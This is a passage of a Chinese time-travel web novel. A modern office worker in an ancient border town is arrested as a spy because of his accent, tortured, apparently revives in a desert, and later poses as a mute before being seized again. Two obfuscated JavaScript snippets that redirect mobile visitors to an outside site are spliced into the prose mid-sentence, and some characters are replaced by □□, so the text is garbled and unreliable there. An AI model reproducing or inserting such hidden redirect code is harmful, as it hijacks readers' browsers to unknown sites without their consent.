这衙役长得跟电视剧里的反派似的,就差在脸上写‘我是坏人’了。林越刚要张嘴辩解,老汉“噗通”跪倒在地,膝盖砸起一小团尘土,抢着喊:“官爷明鉴!这小子刚才说‘多钱’!是北狄人的黑话啊!” 什么黑话?那是普通话!虽然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119388|195946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带点口音,但也不至于成敌国暗号吧? 衙役的脸“唰”地沉下来,像是结了一层霜。他蹲下身,用冰凉的铁叉挑起林越的下巴,金属的寒意透过皮肤直往骨头里钻:“听尔这口音,不像本地货啊。打哪来?” 林越脑子飞转——总不能说自个儿来自一千年后吧?那估计就不是当奸细了,得被当成妖怪烧了。但编个什么来历呢?南边来的难民?可南边口音什么样他完全不知道。 “我……我是从南边逃难来的,”林越结结巴巴地说,尽量让声音听起来诚恳,“家乡遭了水灾,一路讨饭到这里……” 话还没说完,人群外突然传来急促的马蹄声,“嘚嘚嘚”的马蹄敲击地面,由远及近。一个穿铠甲的士兵翻身下马,动作利落,甲片碰撞发出“哗啦”的声响。他高举一面绣着“炎”字的杏黄旗,旗子在风中猎猎作响:“边境急报:北狄细作潜入,可疑者即扣!” 士兵的声音洪亮有力,传遍了半个集市。 屋漏偏逢连夜雨,船迟又遇打头风。这运气,去买彩票肯定能中头奖——如果我能活着回去的话。这话像最后一根稻草,压垮了林越。他看着衙役眼中腾起的杀意,那眼神从怀疑变成了确定;看着周围一张张愤怒的脸,那些原本只是好奇或警惕的面孔,此刻都写满了敌意和仇恨。他突然明白自己犯了个多么可笑的错误——在这烽火连天的年月,语言从来不是沟通的桥梁,而是杀人的快刀!早知道就该装哑巴,虽然饿肚子,但至少不用掉脑袋。 “咔嚓”,冰冷的铁链锁住手腕,金属撞击声清脆刺耳。铁链很重,粗糙的边缘磨着皮肤,很快就留下一圈红痕。 林越听见自己牙齿“咯咯”打颤的声音,那是恐惧的本能反应,怎么都控制不住。 他被两个衙役架着穿过市集,一左一右,胳膊被扭到身后,姿势别扭又疼痛。背后是无数道鄙夷的冷箭——那些目光像针一样扎在背上,有老人摇头叹息,有妇人指指点点,有孩子被大人捂住眼睛不让他们看。阳光透过雕花窗棂,在地上投下斑驳的光影,像张巨大的网把他死死罩住。 “带走!”随着衙役一声断喝,林越被搡进一辆破囚车。 囚车是用粗糙的木板钉成的,缝隙很大,能看到外面的景象。车厢里铺着一层薄薄的稻草,已经发黑发霉,散发出一股馊味。林越踉跄着摔进去,手掌按在稻草上,感觉到潮湿和黏腻。 这囚车比公司那辆破班车还颠,至少班车有座位,这玩意儿连个垫子都没有。 车轮碾过沙土路的颠簸,颠得他胃里翻江倒海。囚车没有减震,每一次颠簸都直接传到身体里,骨头像是要散架。他死死抓住囚车栏杆,木刺扎进手心,带来一阵刺痛。透过木栏缝隙,他看见那卖馒头的老汉正用勺得意地敲着笼屉,发出“咚咚”的节奏声,嘴里哼着不成调的小曲儿——仿佛刚才那场要命的闹剧,压根儿没发生过。 囚车驶进阴暗的巷子,两旁的土墙高耸,遮住了大部分阳光。巷子很窄,只能容一辆囚车通过,墙壁上长着青苔,湿漉漉的。林越的视线渐渐模糊,不知道是灰尘进了眼睛,还是泪水在眼眶里打转。他想起穿越前看过的那些小说,主角们总能靠现代知识呼风唤雨,发明火药、制造肥皂、推广土豆玉米,一举成为国家栋梁。而他……却因为一个发音,成了阶下囚! “那些小说都是骗人的!什么穿越后秒变人生赢家,我这都快成人生输家了,还是输得裤衩都不剩的那种。” “大炎律例第三十七条:凡通敌叛国者,斩立决……”囚车外传来模糊的诵读声,像是有人在宣读律法,声音断断续续,像毒蛇的信子钻进耳朵。 他打了个寒颤,寒意从脚底一直窜到头顶。猛然意识到更可怕的事——这个世界的规则,远比他想象的,要残酷百倍!在现代社会,说错话顶多被领导骂一顿,扣点绩效奖金;在这里,说错话是要掉脑袋的。这不是比喻,是真的会掉脑袋,刽子手的刀落下,头颅滚地,鲜血喷溅。 囚车继续颠簸前行,林越透过木栏缝隙看着外面的世界。街道两旁的行人纷纷避让,有的指指点点,交头接耳;有的摇头叹息,面露怜悯;还有的小孩好奇地探头探脑,想看看囚车里是什么人,被大人一把拽了回去,捂住眼睛或是拉走。 早知道就不该来这个集市,在破庙里啃树皮也比被当成奸细强。林越懊悔地想,可是不来又能怎样?饿死和被杀,好像也没什么区别,都是死路一条。区别可能在于,饿死是慢慢耗尽,被杀是一刀了断,前者痛苦漫长,后者干脆利落——如果刽子手技术好的话。 囚车拐进一条更窄的巷子,两旁的土墙高耸,阳光几乎照不进来,只有一线天光从高处洒下。巷子里阴冷潮湿,空气中弥漫着霉味和尿骚味。林越的心一点点沉下去,像石头沉入深井,连个水花都溅不起来。 这下真完了,连个目击证人都没有,想喊冤都没人听。这巷子僻静,就算喊破喉咙,估计也没人理会。那些衙役看起来也不是讲道理的人,他们需要的是交差,是抓住一个‘奸细’向上级邀功,至于这个人是不是真的奸细,并不重要。 突然,他想起怀里的平安扣玉坠,那块温润的青色玉石还贴着他的胸口,透过薄薄的衣料传来微凉的温度。这玩意儿还在,不知道能不能当个信物,证明我不是奸细?可是怎么证明呢?说这是现代工艺品?那估计死得更快。说是祖传的?可这玉坠的工艺明显不符合这个时代,反而会成为另一个疑点。 就在他胡思乱想时,囚车停了下来。 3. 乱葬岗夜 林越猛地闭上眼睛,试图压下翻涌的心绪。他知道必须冷静!在这个陌生又危险的世界,脑子得转起来。穿越小说里的主角个个智计百出,他林越也得找出自己的活路!总不能真当个炮灰吧? 他开始搜刮穿越前的记忆。虽然不是什么专家,好歹受过现代教育,懂点科学原理和历史常识。对了!他以前对历史上的发明创造特别着迷,没准儿这些知识能在这鬼地方派上用场。比如造个指南针?或者搞点□□?虽然化学课都在睡觉,但基本原理还是知道的。硫磺、木炭、硝石,按一定比例混合……具体比例是多少来着?林越皱起眉头,努力回想。 林越深吸一口气,唰地睁开眼,开始扫视四周。囚车构造简单,但木头结实得很,是用老榆木钉成的,木板厚实。他琢磨着,要是能找到法子破坏它,没准儿就能溜之大吉。得等机会,还得小心别惊动看守。这感觉就像在办公室摸鱼,得时刻注意老板有没有在身后。 他检查囚车的结构,手指沿着木板缝隙摸索。缝隙很小,最大的地方也只能塞进一片指甲。车轮是实木的,轴心包着铁皮,转动时发出“吱嘎吱嘎”的声音。囚车没有锁,只是用一根粗木棍闩住了门。 正想着,囚车“哐当”一声停了下来,外面传来一阵吵嚷,像是有人在争执。林越的心瞬间提到嗓子眼——机会来了!他眼珠飞快转动,搜寻着可能的逃跑路线。这囚车看着破,但木头挺厚实,想撬开估计得费点劲。 就在他准备动手的当口,囚车门“吱呀”一声被拉开,刺眼的光线直射进来!林越眯起眼,用手挡住眼睛,好一会儿才适应光线。只见一个身影堵在门口,逆光中看不清面容,只能看到一个高大的轮廓,声音低沉有力:“跟我走,我能救你出去。” 林越心头一惊,心脏狂跳,但立刻反应过来——这恐怕是唯一的救命稻草!他毫不犹豫,连滚带爬地跟着那身影就蹿出了囚车。管他是谁呢,总比在囚车里等死强,先逃出去再说。 林越想抬头看清对方,可那人裹得严严实实,只露出一双眼睛。厚重的黑斗篷,布料粗糙,看起来像是粗麻织的,兜帽压得低低的。林越想从那眼神里挖出点线索,可它们深得像寒潭,半点不透底,既看不出善意,也看不出恶意,只有一种冷静的审视。 这打扮,跟电影里的神秘人似的。林越在心里嘀咕。 离开前,他飞快瞥了眼囚车方向——嘿,那场骚乱,居然是两三个守卫还在追一只瘦狗!林越看着那狗远去的背影,心里道了声谢,来不及细看,转身就走。 林越跟着那人七拐八绕,专挑小路,离集市越来越远。他们钻过窄巷,绕过闹哄哄的集市,穿过安静的居民区。每拐一个弯,周遭的气息都在变。 剧烈运动让暂时被遗忘的饥饿感卷土重来,更凶了!林越的肚子“咕噜噜”唱起了空城计,声音大得连前面带路的人都可能听到。他脑子里不受控制地冒出热腾腾的汤、香喷喷的烤肉…… 要是现在能来碗泡面就好了,加根火腿肠,再加个卤蛋。可心里也明白,跟着这个神秘人,目的地恐怕比一顿饭要紧得多。 高大的男人突然刹住脚步,动作快得林越差点撞到他背上。男人不由分说,一把将林越拽进了一家店铺的后院。这里是个无人看管的后厨,蒸汽弥漫,空气潮湿,锅里“咕嘟咕嘟”煮着东西,闻起来像是炖菜。灶台是土坯砌的,表面坑坑洼洼。 这地方,看着比公司的茶水间还简陋。 男人熟练地从锅里捞出点什么,用木勺舀了一勺炖菜,里面有几块萝卜和不知名的菜叶,递给林越,语气试探地问:“你真饿着肚子去集市打探?” 林越一听,心里咯噔一下——眼前这位,才是正主儿!小命捏在人家手里,他赶紧顺着话茬接。“谢了兄弟捞我!这不天没亮就急着出门,没顾上吃嘛。”边说边作势要去接男人递过来的东西,手伸到一半,又缩回来,搓了搓手,一副不好意思的样子。 然而,手还没碰到食物,男人猛地反手扣住了他的手腕!力道很大,像铁钳一样箍着。男人脸上露出一丝狡黠的笑,那笑容里带着得意和嘲讽:“尔说话习惯,果然不是本地哩。” 林越浑身一凉,血液像是瞬间凝固了——完了,掉坑里了!本想学对方口音蒙混过关,没成想反而成了暴露身份的铁证。刚才那句话,哪里露馅了?是“兄弟”这个词?还是“捞我”这个说法? 这感觉就像写代码时自以为写得很完美,结果一运行全是bug。 情势急转直下!林越像块破布,被粗暴地拖回了那辆冰冷的囚车,一路上踉踉跄跄,好几次差点摔倒。车子颠簸着,碾过飞沙走石的路面,一头扎进阴森的监狱大门。绝望和无助像冰冷的潮水淹没了他,前方等待的,是更残酷的折磨。 监狱大门是厚重的木头做的,上面钉着铁钉,推开时发出“嘎吱嘎吱”的声响。里面是一条昏暗的通道,两边是牢房,铁栏杆后面有模糊的人影晃动。 一顿严刑拷打下来,林越浑身没一块好肉,意志也濒临崩溃。鞭子抽在背上,火辣辣的疼;棍子敲在腿上,骨头像是要裂开;冷水泼在脸上,呛得他喘不过气。审问者逼他认下莫须有的罪名,声音冰冷而机械:“说,尔是不是北狄的探子?来黄壤屯做甚?同伙在哪?”林越百口莫辩,只能在痛苦中挣扎,重复着:“我不是……我只是逃难的……”但没人相信。 最后,他被像扔垃圾一样,重重摔在牢房冰冷的地上,身体撞击地面发出沉闷的响声。林越趴在地上,动弹不得,只能感觉到地面的凉意透过薄薄的衣服传到皮肤上。 林越满身血污,伤痕累累,瘫在地上动弹不得。即便如此,他还在苦中作乐,用残存的意志力强撑着不彻底沉沦,“至少我还活着,虽然活得有点惨。” 但□□的剧痛和精神的摧残最终压垮了他,意识渐渐模糊,像是沉入深水。这下真完了,早知道就该好好学历史,至少知道怎么在古代装本地人。林越最后的念头是后悔,然后是无边的黑暗。 狱卒进来时,发现林越没了气息,以为他死了。一边骂着“晦气”,一边粗暴地把他架起来,一人抬肩膀一人抬脚,准备按惯例处理。毫无怜悯,像丢垃圾一样,把他抬出了牢房,穿过昏暗的通道,朝监狱外走去。 扭曲的姿势让林越看清了狱卒腰间令牌的反面。那抹菱形炎纹中央,不知被谁用利器刻了个歪歪扭扭的“龙”字,笔画转折处带着点稚气,活像小孩的涂鸦,但刻得很深,像是用力划进去的。林越模糊地想,然后意识又沉了下去。 半路上,林越迷迷糊糊醒了一次。意识模糊,眼前一片朦胧。他恍惚看见头顶有三只黑鸟在盘旋,翅膀展开很大,在灰白的天空背景下显得格外醒目。它们飞得很低,像是在观察,又像是在等待。 一股悲凉涌上心头——他想到了现代,那个有文明有秩序的世界。在那儿,就算死了,也有人收尸,有人哀悼。而在这里,他只能无声无息地消失,像一粒尘埃落入沙漠。 要是死在现代就好了,好歹有人收尸……这念头刚在心底闪过,黑暗便再次吞噬了他。 当林越再次睁眼,他惊得差点跳起来——自己竟然又站在了那片烈日灼烤的无垠沙丘上!手里紧紧攥着的,是两样熟悉的街头小吃:关东煮和烤肠。一股难以抑制的饥饿感,不仅是胃在咆哮,灵魂深处也在渴求!林越再也忍不住,狼吞虎咽起来,三口两口就把烤肠吃完了,关东煮也吃得只剩汤。 不过,他还残存一丝理智,没把关东煮的汤喝光,小心翼翼地留了一点在纸杯里。这汤得省着点,谁知道下次什么时候才能喝到水。 沙丘上烈日当空,酷热难耐。林越脱下外套,紧紧裹住脑袋,想给自己找点阴凉,但效果有限,汗水还是不停地流。 就在这时,他瞥见了左手腕上——两道清晰的平行红痕!那痕迹鲜红刺眼,仿佛刚刚烙印上去。林越盯着这两道红痕,心头涌起强烈的不安。 他开始拼命回忆、复盘,想弄明白自己怎么又回到了沙丘。他记得自己好像经历了一场奇诡的旅程,穿越时空,经历了酷刑折磨,甚至尝到了冰冷的死亡滋味。 思来想去,林越决定不能干等。他深吸一口气,定了定神,再次迈开脚步,坚定地朝着黄壤屯进发。只有再次抵达那里,甚至继续走下去,他才可能找到回现实世界的路,也才可能解开手腕上红痕的秘密。这次一定要小心,不能再犯同样的错误。 他迈开步子,心里交织着决心、期待,还有一丝对未知的恐惧。 林越深一脚浅一脚地走在沙丘上,每一步都沉甸甸的,沙子陷进鞋里,摩擦着脚底。脚下的沙子“沙沙”作响,像在低声嘲笑他之前的错误选择。 抬头望天,太阳像个无情的火球炙烤大地,没有一丝云彩遮荫。汗水顺着额头滑落,流进眼睛,涩得他直眨眼,他却不敢停下——他知道,一旦停下,就可能永远迷失在这片沙海。 林越继续前行,思绪飘向远方。他想起了过去平凡真实的日子,每天早上被闹钟吵醒,挤地铁上班,坐在电脑前写代码。那些日子虽然辛苦,但至少熟悉,至少安全。 但手腕上那两道清晰的红痕,鲜红刺眼,无情地宣告着一切真实发生过,不是梦,不是幻觉。 他开始怀疑,这一切是否与那场奇诡的旅行有关?那次死亡真的存在吗?真死了的话,这身体,还有可能存在的灵魂,又是怎么“刷新”的?难道……这是一种循环? 这设定也太坑爹了吧?别人穿越都有系统提示,有任务列表,我这连个新手引导都没有,全靠自己摸索。林越苦笑,加快了脚步。 林越开始祈祷,希望这次能揭开真相,回到那个熟悉温暖的世界,虽然那个世界要加班,有KPI,有难缠的客户,但至少不用挨打,不用被杀。 一路上,林越重新审视自己的处境。他想起如何被那高大男人诱骗,对方用食物引诱他,用救命恩人的姿态获取信任;想起如何在厨房被识破身份;想起如何在牢里受尽折磨。他意识到,必须加倍小心,不能再轻信任何人。 这教训,比被项目经理坑了还深刻。林越开始观察环境,试图找出一条新的生路。他明白,只有不断学习和适应,才能在这个危机四伏的世界活下去。 林越决定改变策略。第一次,他莽撞地闯进集市,想用玉坠换食物;第二次,他轻信神秘人,想靠别人救命。这两次都失败了。这一次,他要靠自己,要谨慎,要观察,要学习。 黄昏将近,天色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119389|195946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渐暗,沙丘被染上一层金色。林越终于再次抵达了黄壤屯,远远看到那些熟悉的土墙和房屋轮廓。又回来了,这次得换个策略。他躲在沙丘后面观察,没有立刻进去。 这次,林越决定从最基础的做起。 他竖起耳朵偷学当地人的方言土语,躲在集市外的树丛里,听过往行人的对话。他们说什么“咋个”、“恁地”、“晌午”,语气词很多,语调起伏大。眼睛像扫描仪一样记录他们的风俗习惯。 这学习强度,比考证书还大。林越拿出当年备考的劲头,在心里默记那些词汇和句式。 他观察他们的穿着打扮,都是粗布衣服,颜色以灰、褐、蓝为主;模仿他们的动作神态,走路时背微微驼;甚至开始尝试他们的饮食习惯。 唯一麻烦的是,短时间内语言习惯实在难改,林越试了几次,一张口还是现代普通话的调子。他干脆一咬牙——装哑巴!不说话总比说错话强。 没想到,这反而博得了大婶们的同情心。看到他一个年轻人不会说话,穿着破烂,蹲在墙角,有几个路过的妇人会停下脚步,叹口气,从篮子里摸出半个饼或者几颗枣子塞给他。 看来装可怜这招,古今通用。林越心里既感激又惭愧。 那双运动鞋,太显眼了,在这个布鞋草鞋的世界里,像是个异类。林越找了个机会,悄悄把运动鞋埋在了破庙里残破神像的底座下。再见了我的运动鞋,虽然你陪我走过很多路。 脚上换成了用玉坠跟村里富户换来的草鞋,多出来的钱,则换了一个火折子、一身换洗的粗布衣和一小袋宝贵的盐。 这交易还算划算,虽然玉坠没了,但至少有了生存物资。林越把火折子和盐小心地收进怀里,换上粗布衣。 夜幕降临,天色完全黑下来。林越蜷缩在破庙角落,借着火折子微弱的光检查被草鞋磨破的脚底。血痕渗进麻布,和布料粘在一起,一动就疼。 这疼痛,比连续加班脚肿了还难受。林越小心地把布料揭开,伤口已经红肿。他咬咬牙,用找出的破碗煮了点水,放凉后,冲洗在伤口上。 “嘶——”剧烈的疼痛让他倒吸一口冷气。 远处驼铃声悠悠传来,叮叮当当的。近处只有风沙啃噬朽木的“沙沙”轻响。林越咬开一粒盐,放在舌尖,咸涩的味道在舌尖炸开,瞬间激活了所有感官——这疼痛、这味道、这寒夜,都在狠狠告诉他:你还活着! 这次,他不再留恋黄壤屯。这地方太危险了,得赶紧走。天还没亮透,东方刚泛起鱼肚白,他就沿着驼队留下的痕迹一路向南疾行。目标只有一个:避开边境,躲开那些细作,离危险越远越好! 沙粒在晨光中镀着铁灰色。林越裹紧粗布衣,早晨很冷,寒气透过衣服钻进身体。他将草鞋残片死死缠紧,用布条把快散架的草鞋绑在脚上。他不敢歇脚,生怕情绪再陷下去。只有钻心的疼能把他牢牢钉在这世上。 驼铃声渐行渐远,最终消失在风里。地平线上浮出断断续续的夯土残垣,是座废弃的边防哨所,坍塌的墙缝里戳出焦黑的梁木。这地方看着就危险,得赶紧过去。林越加快脚步。 林越攀上残垣,站在墙头,俯瞰前方荒原——风沙里影影绰绰现出一条干涸河床,河床很宽,里面没有水,只有灰黄的砂砾和碎石。对岸能瞧见一杆孤零零的旗子,在风中飘摇,还有门楼的边角,青瓦飞檐,看起来比黄壤屯气派。 嘿,新城镇到了!这下好了,总算离开这个鬼地方了。林越深吸一口气,拍了拍身上的灰尘。 新的开始,这次一定要小心,不能再犯同样的错误了。林越在心里默念。 他检查了一下身上的东西:一身粗布衣;一双快散架的草鞋;一个火折子;一小袋盐;还有怀里仅剩的几文钱。 这就是我的全部家当了,比刚毕业时还穷。林越苦笑一声,摇了摇头。算了,有总比没有强。至少还活着,至少还有机会。 太阳渐渐升高,阳光照在新城镇的方向,给那座城镇镀上了一层金色。看起来还不错,至少比黄壤屯大。 林越深吸一口气,从残垣上爬下来,拍了拍手。他朝着新城镇的方向走去,脚步坚定,虽然慢,但一步不停。 这次一定要小心。他在心里默默告诫自己。装哑巴是个好办法,至少安全。不说话,不暴露口音,不引起怀疑。观察,学习,模仿,让自己融入环境。 风吹过,带来远处城镇的喧嚣声。 他加快了脚步,虽然脚上的草鞋越来越破;虽然肚子又开始咕咕叫;但他没有停下,不能停下。 新的开始,新的机会,这次一定要抓住。林越在心里给自己打气。我林越,可不是那么容易被打倒的。死过一次了,知道死亡的滋味了,反而更想活了。我要活下去,我要找到回去的路。 他回头看了一眼黄壤屯的方向,那个给他带来第一次死亡的地方。再见了,希望再也不见。然后转身,头也不回地朝着新城镇走去。 阳光照在他的背上,暖洋洋的,驱散了早晨的寒意。前方,是新城镇,是未知,也是希望。 林越迈着坚定的步伐,走向那个未知的城镇,走向那个可能改变他命运的地方。这一次,他要活下来,要活得更好,要找到答案。 4. 沉默代价 林越蹲在石板街的转角,把破包头巾又往下拽了拽,只露出一双眼睛。新城镇的石板路可比黄壤屯的土路平整多了,一块块青石板铺得整齐,缝隙里长着青苔。风沙也乖乖待着,不像黄壤屯那边整天尘土飞扬。两旁店铺门楣挂着晃眼的招牌,红底金字或黑底金字,写着“张记布庄”、“李记茶肆”、“王记铁铺”之类的。商队骆驼脖子上的铜铃叮叮当当响个不停,清脆的声音在街道上回荡。这地方看着比黄壤屯富裕多了,至少路是平的,不用深一脚浅一脚地走。 他摸了摸怀里焐得温热的铜板——昨儿帮酒肆伙计劈柴换的,一共五文钱,够买仨香喷喷的炊饼啦!铜板边缘有些磨损,但确实是真钱,沉甸甸的。这收入,比公司实习生的日薪还低,但至少能填饱肚子。在这个陌生世界,有食物就有活下去的希望。 “听说了没?城南王员外家的千金昨夜叫人掳走啦,官府正满城搜捕可疑人物哩!”卖茶水的妇人压着嗓子说,竹筒茶漏磕在石桌上“当啷”一响。 林越喉结一滚,悄没声儿地挪进阴影里,把自己藏在店铺屋檐下。这儿的人个个都像揣着秘密,走路时眼神飘忽,说话时声音压低。他这张生面孔,皮肤比本地人白些,身形虽然瘦但不像常年劳作的,怕不是比北狄探子还扎眼。 他埋着头,盯着石板缝里蚂蚁们嘿咻嘿咻搬碎屑。忽然觉得这些小东西都比自个儿自在。蝼蚁还能靠触须认亲呢,传递信息,分辨敌友;他倒好,连装个身份都得把舌头给“咔嚓”了,憋着不说话,憋得难受。这待遇,比公司那个被孤立的新人还惨,至少新人还能说话,还能辩解。 草鞋磨烂的脚底,每走一步都渗着血珠,在石板路上留下浅浅的淡红印子,又飞快地被尘土吞没。这草鞋质量真差,才穿两天就磨破了,比公司发的劳保鞋还差劲。林越能感觉到沙石透过草鞋的破洞硌着伤口,火辣辣的疼,但他必须忍着,不能表现出异样。 正午日头最毒辣时,阳光直射下来,石板反射着白光,刺得人睁不开眼。林越哧溜钻进了绸缎庄后巷。这附近挤满了装卸布匹的板车,车上堆着各色绸缎,红的绿的蓝的紫的,在阳光下泛着光泽。还挂着不少厚布帘子,闷得像蒸笼,不透一丝风,夜里却是挡风保暖的好窝,让他昨晚难得睡了个囫囵觉。 他猫在板车底下,透过缝隙瞄着街面。这个角度很好,能看到街上的情况,又不容易被发现。板车底下有阴影,相对凉爽,还能躲避正午的烈日。林越蜷缩着身体,像只警惕的猫。 几个玄铁甲护卫押着个五花大绑的少女走过,少女年纪不大,约莫十四五岁,瘦瘦小小,脏污不堪。她脖颈上挂着的玉坠在阳光下流转着一抹熟悉的青芒——正是他之前换给那富户的平安扣!那抹青色温润柔和,边缘规矩,正是现代机器打磨的痕迹。 “啪嗒!”一滴冷汗砸得手背发麻,凉意顺着皮肤蔓延。 林越心里直打鼓,这姑娘啥来头?玉坠咋又挂她脖子上了?难不成我那个玉坠是什么重要信物?难道这玉坠又转手了?可为什么她会被绑着?是犯人?还是证人? 这玉坠就像个烫手山芋,从黄壤屯富户手里转到这里,还挂在一个被绑的少女脖子上。林越脑子里飞快地转着:早知道这么麻烦,当初就不该换出去,留着当传家宝也好。现在倒好,自己换出去的玉坠,可能正给自己招来杀身之祸。这感觉就像写代码时留了个后门,结果被黑客利用了,自己还得背锅。 他强迫自己停止胡思乱想。现在想这些没用,重要的是活下去。玉坠再重要,也比不上小命重要。当务之急是避开麻烦,找到生路。 生怕自己留下的蛛丝马迹招来杀身祸,他屏住呼吸,缩得像个鹌鹑,连大气都不敢出。指甲狠狠掐进掌心,疼痛让他保持清醒。这感觉,比上班摸鱼被老板发现还紧张,心跳得像打鼓,手心全是汗。至少老板不会要我的命,最多扣工资开除,这里的护卫可是真会杀人的。 等人走远了,林越才敢慢慢爬出车底,装作没事人一样踱开,背脊却绷得跟拉满的弓弦似的。街角炊饼炉子噗噗冒着白烟,香气扑鼻。他木然地掏出铜板,手指有些颤抖。接过热饼时指尖还在抖,差点没拿稳。他咬了一口,饼是刚出炉的,外酥里软,但味同嚼蜡,只觉得那抹青芒在眼底烧得慌,像根刺扎在眼睛里。 他深吸一口气,逼自己别瞎琢磨,现在想这些没用,先活下去要紧。盘算着待会儿还能不能去酒肆伙计那儿讨点零活,昨天劈柴的表现应该不错,胖掌柜看起来人挺好。要是能找个稳当点的差事,没准儿能攒点盘缠继续往南奔。往南走,离边境越远越好,这地方太危险了。 可是谁让他是个“哑巴”,还是个没根脚的流民呢?找活儿的路子窄得像针眼。酒肆后厨要人做帮厨,集市上抬货也总缺人手,可都得管事验身登记,要问来历,要保人。他这种黑户,来历不明,没有保人,门都别想进,连登记表格都填不了。 这待遇,比公司那个实习生还惨,至少实习生有工牌,有劳动合同。这古代社会,比现代职场还看重身份证明。林越只好在市井旮旯里多转转,寻摸些不用签契的零碎活计,帮人跑腿卸货啥的,现结现清,不问来历。这种倒也有个好处——能偷偷学点本地最土最白的口音俚语,听那些搬运工、小贩、伙计们聊天,默默练习。 酒肆的胖掌柜心软,念着昨天林越帮伙计砍柴的老实劲儿,又看他可怜,冲他招招手,雇他搬酒坛。林越感激地猛点头,麻溜儿卷起粗布袖子就干上了。 酒坛死沉死沉,是陶制的,每个能装二十斤酒。压得他肩头又渗出血印子,昨天劈柴磨破的伤口还没好,今天又加重了。可他一声不吭,咬牙忍着,动作利索得像干惯了这苦力活。这工作强度,比公司搬服务器还累,至少服务器有轮子,有推车,有电梯。这里全靠人力,一楼到二楼,来回十几趟。 胖掌柜递来粗瓷碗盛的凉茶,碗边有缺口,但洗得干净。林越双手捧过,低头小口啜着,眼角余光却扫到柜台上摊开的新鲜通缉告示——墨迹还没干透呢,那画像的轮廓,隐隐约约竟有几分像自己!画得粗糙,但脸型、发型有几分相似。 林越心猛地一揪,脸上却纹丝不动,只把碗底残茶一口灌下,任那苦涩在喉咙里蔓延。这画像画得也太抽象了吧?就这也能认出是谁?线条潦草,五官模糊,只能说是个大概。可别认成我了,看来得要更低调才行。 远处“哐哐哐”锣声炸响,差役们吹着哨子巡街。路人纷纷停下受检,排成长队。 “闪开!都闪开!”震耳欲聋的呵斥声从巷口炸开。 林越浑身绷紧。只见十二名衙役簇拥着一顶四人抬的朱漆官轿逼近,轿子很气派。两侧衙役腰间的令牌泛着幽蓝的微光——那菱形炎纹,跟黄壤屯囚车守卫佩刀上的纹路,简直一个模子刻出来的! 林越猛地想起刚才路过酒肆前店听到的闲话:新调来的县官是个暴脾气,最恨人不敬。今天上午就有个愣头青冲撞了他的座驾,当场就被判了刑,被活活钉死在城门上,那招魂幡还在城楼上哗啦啦飘着呢。 他越发卖力地搬酒坛,动作加快,恨不得把自己融进这群干活的人里。真是比老板来视察时装忙还累,至少老板不会真打人,不会要命。 林越刚把第五坛酒糟搬上后厨的木案,就听见巷口传来“哗啦啦”铁链拖地的脆响。 他直起腰,抹了把额角的汗,透过厨房破窗缝往外瞧——两个衙役正杵在胖掌柜的酒坛堆前,那个络腮胡的绕进来,用铁链尖儿挑开他的包头巾,阴恻恻地问:“这哑巴是尔家伙计?” 胖掌柜的脸皱成了苦瓜,搓着手赔笑:“官爷说笑啦,这哑巴是今儿晌午才来打零工哩,就搬搬酒坛子,跟王员外家的事可八竿子打不着哇!他是个老实人,不会说话的。” 林越手心瞬间湿透。他死死攥住腰间的破布带——昨天那个带玉坠的少女,那枚青芒流转的平安扣,难道是循着味儿追过来了?这玉坠到底是什么来头? “没关?”络腮胡衙役猛地转身,铁链“哗啦”一声狠狠抽在地上,“有人看见这哑巴中午在绸缎庄后巷瞎转驴,跟掳走千金那贼人穿得一样烂巴!都是破布衣,草鞋,包头巾!” 林越的喉咙像被堵住了。他想摇头,想摆手,想吼“我没有”。可嘴唇哆嗦了几下,只挤出干涩的“嗬…嗬…”。一旦开口,口音就暴露了,后果可能更严重。 胖掌柜急得直跺脚:“官爷!他真是哑巴!昨天帮我劈柴,连个响哈都没出!您看他这模样,像是能掳走千金的人吗?瘦得跟竹竿似的!” 这掌柜人还不错,至少肯帮我说话。林越心里感激,但更多的是绝望。掌柜的话没用,衙役根本不听。 衙役伸手就抓林越的胳膊。林越往后一退,“哐当”撞翻了案上的酒坛,琥珀色的酒液“哗啦”淌了一地,浓烈的酒香弥漫开来。 看着衙役那只越来越近的手,林越突然想起牢里烧红的烙铁;想起带刺的鞭子;想起自己被扔到乱葬岗时头顶盘旋的黑鸟。他的腿开始发抖——像被逼到悬崖边的狼崽子。 他装哑巴是为了藏住舌头,为了活下去。可这会儿,沉默反倒成了他洗不清的罪!这什么道理?不说话也有罪?装哑巴也有罪? “跑哈?”络腮胡衙役一把攥住他的手腕,“咔嗒”一声锁上了铁链,“跟我们去官府!查清楚了尔是清白哩,自然放人!”语气里满是嘲讽。 林越挣扎起来,可衙役的手劲大得像头牛,硬把他往巷口拖。路过酒坛堆时,他眼角瞥见胖掌柜正偷偷往自己怀里塞铜板,嘴唇翕动,像是在说“对不住”。 他想起昨天劈柴时掌柜递来的那碗热粥;想起那些因为闭嘴才换来的丁点善意——路人大婶的饼,掌柜的粥。可现在,这点善意也“噗”地一下,碎成了泡影。 街上的行人都在看他,指指点点。一个挑着花担子的老太太停下脚步,从担子里拿出一朵蔫头耷脑的黄花,塞给他,嘴里叨咕着“造孽哟,这么年轻就……”。 林越盯着那朵花,想起黄壤屯大婶们塞给他的热乎烤红薯。可这会儿,这点暖意离他远得像上辈子的梦。 